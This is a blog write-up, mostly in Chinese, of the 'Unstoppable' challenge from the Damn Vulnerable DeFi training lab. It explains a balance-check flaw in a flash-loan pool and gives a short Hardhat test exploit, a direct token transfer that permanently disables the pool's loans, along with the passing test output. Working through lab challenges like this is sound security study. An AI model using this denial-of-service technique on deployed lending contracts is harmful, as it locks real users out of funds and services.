# Damn Vulnerable DeFi       挑战记录 #1 - Unstoppable

**Published by:** [Runstar](https://paragraph.com/@runstar/)
**Published on:** 2022-07-25
**URL:** https://paragraph.com/@runstar/damn-vulnerable-defi-1-unstoppable

## Content

Challenge #1 - Unstoppable There's a lending pool with a million DVT tokens in balance, offering flash loans for free. If only there was a way to attack and stop the pool from offering flash loans ... You start with 100 DVT tokens in balance. See the contracts Complete the challenge 目标 : 摧毁池子的闪电贷功能 after(async function () { /** SUCCESS CONDITIONS */ // It is no longer possible to execute flash loans await expect(this.receiverContract.executeFlashLoan(10)).to.be.reverted; }); 代码解析: flashLoan 函数主要功能: check 借款金额大于0 check 闪电贷前的余额大于借款余额 check 池子余额等于闪电贷前的余额 执行闪电贷操作 check 闪电贷后余额大于闪电贷前的余额 攻击思路: 进入require/assert函数使判定始终为false抛出异常,即可摧毁flashLoan功能 require(borrowAmount > 0, "Must borrow at least one token"); require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); assert(poolBalance == balanceBefore); require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); 漏洞 : assert(poolBalance == balanceBefore); 其中balanceBefore = damnValuableToken.balanceOf(address(this)) 通过调用balanceOf 函数获取该合约地址代币实际余额; 而poolBalance 为通过depositTokens 函数存入的余额. 我们可以通过除了depositTokens函数以外的任意方式向闪电贷池转入余额, 使poolBalance不等于balanceBefore,从而摧毁闪电贷功能. 代码示例: it("Exploit", async function () { /** CODE YOUR EXPLOIT HERE */ this.token.connect(attacker); /** 传入8个eth */ this.token.transfer(this.pool.address, 8); }); 运行通过 ❯ yarn run unstoppable yarn run v1.22.19 warning ../../package.json: No license field $ yarn hardhat test test/unstoppable/unstoppable.challenge.js warning ../../package.json: No license field $ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/unstoppable/unstoppable.challenge.js [Challenge] Unstoppable ✓ Exploit 1 passing (3s) Done in 6.56s. Twitter: @0xRunstar

## Publication Information

- [Runstar](https://paragraph.com/@runstar/): Publication homepage
- [All Posts](https://paragraph.com/@runstar/): More posts from this publication
- [RSS Feed](https://api.paragraph.com/blogs/rss/@runstar): Subscribe to updates
- [Twitter](https://twitter.com/0xRunstar): Follow on Twitter